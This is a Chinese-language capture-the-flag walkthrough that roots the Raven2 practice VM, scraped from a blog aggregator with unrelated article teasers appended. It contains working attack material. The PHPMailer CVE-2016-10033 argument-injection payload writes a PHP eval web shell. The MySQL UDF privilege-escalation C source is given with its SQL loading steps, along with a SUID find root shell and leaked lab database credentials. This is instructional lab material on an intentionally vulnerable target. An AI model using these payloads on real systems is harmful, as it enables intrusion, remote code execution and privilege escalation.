RAVEN2

news/2025/1/22 14:58:08/文章来源:https://www.cnblogs.com/C0rr3ct/p/18237916

主机发现和nmap扫描

nmap -sT --min-rate 10000 -p- 192.168.56.108
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
54037/tcp open  unknown
MAC Address: 00:0C:29:60:6F:30 (VMware)
nmap -sT -sV -sC -O -p22,80,111,54037 192.168.56.108
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 03:03 EDT
Nmap scan report for 192.168.56.108
Host is up (0.00075s latency).PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          45112/udp6  status
|   100024  1          46613/udp   status
|   100024  1          54037/tcp   status
|_  100024  1          59405/tcp6  status
54037/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:60:6F:30 (VMware)

web渗透

访问80端口

image-20240607164814498

点击BLOG时,会跳转到raven.local,做一个域名解析

192.168.56.108  raven.local

目录扫描

dirsearch -u http://192.168.56.108
[04:50:56] 301 -  313B  - /js  ->  http://192.168.56.108/js/
[04:50:56] 200 -   18KB - /.DS_Store
[04:51:03] 200 -    3KB - /about.html
[04:51:18] 200 -    3KB - /contact.php
[04:51:19] 301 -  314B  - /css  ->  http://192.168.56.108/css/
[04:51:23] 301 -  316B  - /fonts  ->  http://192.168.56.108/fonts/
[04:51:26] 301 -  314B  - /img  ->  http://192.168.56.108/img/
[04:51:28] 200 -  764B  - /js/
[04:51:30] 301 -  317B  - /manual  ->  http://192.168.56.108/manual/
[04:51:30] 200 -  201B  - /manual/index.html
[04:51:41] 403 -  302B  - /server-status
[04:51:41] 403 -  303B  - /server-status/
[04:51:49] 200 -  817B  - /vendor/
[04:51:52] 200 -    1KB - /wordpress/wp-login.php
[04:51:52] 200 -   17KB - /wordpress/

http://192.168.56.108/vendor/PATH发现flag1

/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

同时在该目录下发现phpmailAutoLoad.php文件

PHPMailer是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务。

PHPMailer<5.2.18有一个 远程命令执行漏洞(CVE-2016-10033)

image-20240607165349300

和邮件有关的就是contact.php

image-20240607185737367

action=submit&name=11&email="aaa". -OQueueDirectory=/tmp/. -X/var/www/html/shell.php @test.com&subject=11&message=<?php @eval($_POST['1']);?>

payload

email:
"aaa". -OQueueDirectory=/tmp/. -X/var/www/html/shell.php @aaa.com
message:
<?php @eval($_POST[1]);?>

http://192.168.56.108/wordpress/wp-content/uploads/2018/11/flag3.png发现flag3

flag3{a0f568aa9de277887f37730d71520d9b}

wpscan扫描

得到两个用户

[i] User(s) Identified:[+] steven| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[+] michael| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)

系统立足点

反弹shell

找一下flag2

find / -type f -name '*' | grep -r "flag2{" 2>/dev/null
var/www/flag2.txt:flag2{6a8ed560f0b5358ecf844108048eb337}

进入web网站目录,找到配置文件

(remote) www-data@Raven:/$ cd /var/www/html/wordpress/
(remote) www-data@Raven:/var/www/html/wordpress$ ls
index.php    readme.html      wp-admin            wp-comments-post.php  wp-config.php  wp-cron.php  wp-links-opml.php  wp-login.php  wp-settings.php  wp-trackback.php
license.txt  wp-activate.php  wp-blog-header.php  wp-config-sample.php  wp-content     wp-includes  wp-load.php        wp-mail.php   wp-signup.php    xmlrpc.php
(remote) www-data@Raven:/var/www/html/wordpress$ cat wp-config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');/** MySQL database username */
define('DB_USER', 'root');/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');/** MySQL hostname */
define('DB_HOST', 'localhost');/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

得到数据库凭据

root:R@v3nSecurity

然后我就看了一下wordpress数据库中的账号信息,没爆破出来

mysql> select user_nicename,user_pass from wp_users;
+---------------+------------------------------------+
| user_nicename | user_pass                          |
+---------------+------------------------------------+
| michael       | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |
| steven        | $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad. |
+---------------+------------------------------------+
2 rows in set (0.00 sec)

Mysql udf提权

查看当前用户和权限

mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)mysql> show grants;

当前root用户,有全部权限

接着查看secure_file_priv的值,是空(可以写入)

还要看一下plugin_dir的路径

mysql> select @@version;
+-----------------+
| @@version       |
+-----------------+
| 5.5.60-0+deb8u1 |
+-----------------+
1 row in set (0.00 sec)mysql> show variables like "%priv%";
+-------------------------+-------+
| Variable_name           | Value |
+-------------------------+-------+
| automatic_sp_privileges | ON    |
| secure_file_priv        |       |
+-----------------------8
mysql> show variables like "%plugin%";
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.00 sec)

找到udf提权的脚本

image-20240607210314621

udf.c

#include <stdio.h>
#include <stdlib.h>enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};typedef struct st_udf_args {unsigned int            arg_count;      // number of argumentsenum Item_result        *arg_type;      // pointer to item_resultchar                    **args;         // pointer to argumentsunsigned long           *lengths;       // length of string argschar                    *maybe_null;    // 1 for maybe_null args
} UDF_ARGS;typedef struct st_udf_init {char                    maybe_null;     // 1 if func can return NULLunsigned int            decimals;       // for real functionsunsigned long           max_length;     // for string functionschar                    *ptr;           // free ptr for func datachar                    const_item;     // 0 if result is constant
} UDF_INIT;int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{if (args->arg_count != 1)return(0);system(args->args[0]);return(0);
}char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{return(0);
}
gcc -g -c udf.c
gcc -g -shared -Wl,-soname,udf.so -o udf.so udf.o -lc

最终生成一个udf.so

然后就是自定义函数

先进mysql

mysql -uroot -pR@v3nSecurity
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/udf.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';
mysql> create function do_system returns integer soname 'udf.so';
mysql> select * from mysql.func;
+-----------+-----+--------+----------+
| name      | ret | dl     | type     |
+-----------+-----+--------+----------+
| do_system |   2 | udf.so | function |
+-----------+-----+--------+----------+

执行do_system函数

mysql> select do_system('chmod +s /usr/bin/find');
+-------------------------------------+
| do_system('chmod +s /usr/bin/find') |
+-------------------------------------+
|                                   0 |
+-------------------------------------+
1 row in set (0.00 sec)

find提权

find . -exec /bin/sh \; -quit
(remote) root@Raven:/root# cat flag4.txt ___                   ___ ___ | _ \__ ___ _____ _ _ |_ _|_ _||   / _` \ V / -_) ' \ | | | | |_|_\__,_|\_/\___|_||_|___|___|flag4{df2bc5e951d91581467bb9a2a8ff4425}CONGRATULATIONS on successfully rooting RavenIII hope you enjoyed this second interation of the Raven VMHit me up on Twitter and let me know what you thought: @mccannwj / wjmccann.github.io

成功拿到四个flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/721612.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mos管为什么会有寄生二极管 寄生二极管的示意图/作用参数/方向判定

mos管为什么会有寄生二极管 mos管会有寄生二极管是因为mos管的源极和漏极之间的电阻会发生变化,这种变化会导致mos管内部的电压发生变化,从而产生一个寄生二极管。寄生二极管可以抑制mos管的漏电,从而提高mos管的效率。 寄生二极管 漏极和源极之间有一个寄生二极管,即“体二…

scrapy-分布式爬虫

一 介绍 原来scrapy的Scheduler维护的是本机的任务队列(存放Request对象及其回调函数等信息)+本机的去重队列(存放访问过的url地址)所以实现分布式爬取的关键就是,找一台专门的主机上运行一个共享的队列比如Redis,然后重写Scrapy的Scheduler,让新的Scheduler到共享队列存…

使用itextPDF实现PDF电子公章工具类

使用itextPDF实现PDF电子公章工具类 一、制作公章 在线网站:印章生成器 - Kalvin在线工具 (kalvinbg.cn) 然后对公章进行下载保存盖章图片:二、生成数字签名 2.1: java工具keytool生成p12数字证书文件 Keytool是用于管理和证书的工具,位于%JAVA_HOME%/bin目录。 使用JDK的…

前后端分离的四种开发模式

前后端分离已经成为了开发的主流模式,很多老铁认为前后端分离就是各干各的,其实不然。 前后端分离有多种模式,我们一一详解。1. 前后端完全分离 在这种模式下,前端和后端是完全独立的两个系统。前端使用一种框架(如React、Angular、Vue.js等)来实现用户界面,通过API调用…

2024/6/7

今天进行了数据库相关实验。 (1)查询所有供应商情况,先按城市升序排列,城市相同按供应商名称降序排列。(2)查询所有零件情况,先按零件名称升序排列,零件名称相同按重量降序排列。(3)查询项目名中含有“厂”的项目情况。(4)查询供应商名称中第二个字为“方”的供应商…

美团面试:百亿级分片,如何设计基因算法?

文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录 博客园版 为您奉上珍贵的学习资源 : 免费赠送 :《尼恩Java面试宝典》 持续更新+ 史上最全 + 面试必备 2000页+ 面试必备 + 大厂必备 +涨薪必备 免费赠送 :《尼恩技术圣经+高并发系列PDF》 ,帮你 实现技术自由,…

Bug记录:Content-Type application/json;charset=UTF-8 is not supported异常解决

Content-Type application/json;charset=UTF-8 is not supported异常解决 前提:确定不是因为Content-Type导致的异常,controller层有注解@RequestBody。 报错详情:确定不是因为缺少Jackson依赖或者版本过低:注意到报错信息上边有一条警告日志: .c.j.MappingJackson2HttpMe…

6.7哈希表

哈希表 哈希表(英文名字为Hash table,国内也有一些算法书籍翻译为散列表,大家看到这两个名称知道都是指hash table就可以了)。哈希表是根据关键码的值而直接进行访问的数据结构。数组就是一张哈希表。哈希表中关键码就是数组的索引下标,然后通过下标直接访问数组中的元素。…

Day16 | 104.二叉树的最大深度 、111.二叉树的最小深度 、222.完全二叉树的节点个数

104.二叉树的最大深度 (优先掌握递归) 什么是深度,什么是高度,如何求深度,如何求高度,这里有关系到二叉树的遍历方式。 大家 要先看视频讲解,就知道以上我说的内容了,很多录友刷过这道题,但理解的还不够。 题目链接/文章讲解/视频讲解: https://programmercarl.com/0…

计算机简史 第1章 手动计算时代

我们在数字出现之前,人们怎么计数呢?‍ 手指计数 我们在数字出现之前,人们怎么计数呢?如何统计人口,统计今天打到了多少猎物? 最开始,人们曾尝试过用手指和脚趾,一指/趾就是 1,双手就是 10,一人就是 20,为此史上有诸多民族曾使用二十进制。藏文中,「人」字有 20 的…

uni-app项目uview的表单验证在小程序上不生效

前情 uni-app是我比较喜欢的跨平台框架,它能开发小程序/H5/APP(安卓/iOS),重要的是对前端开发友好,自带的IDE让开发体验非常棒,公司项目就是主推uni-app,在uniapp生态中uView是其中非常好的全平台的第三方开源ui库,我在公司项目中果断的使用了它。 坑位 在用uView做小程序…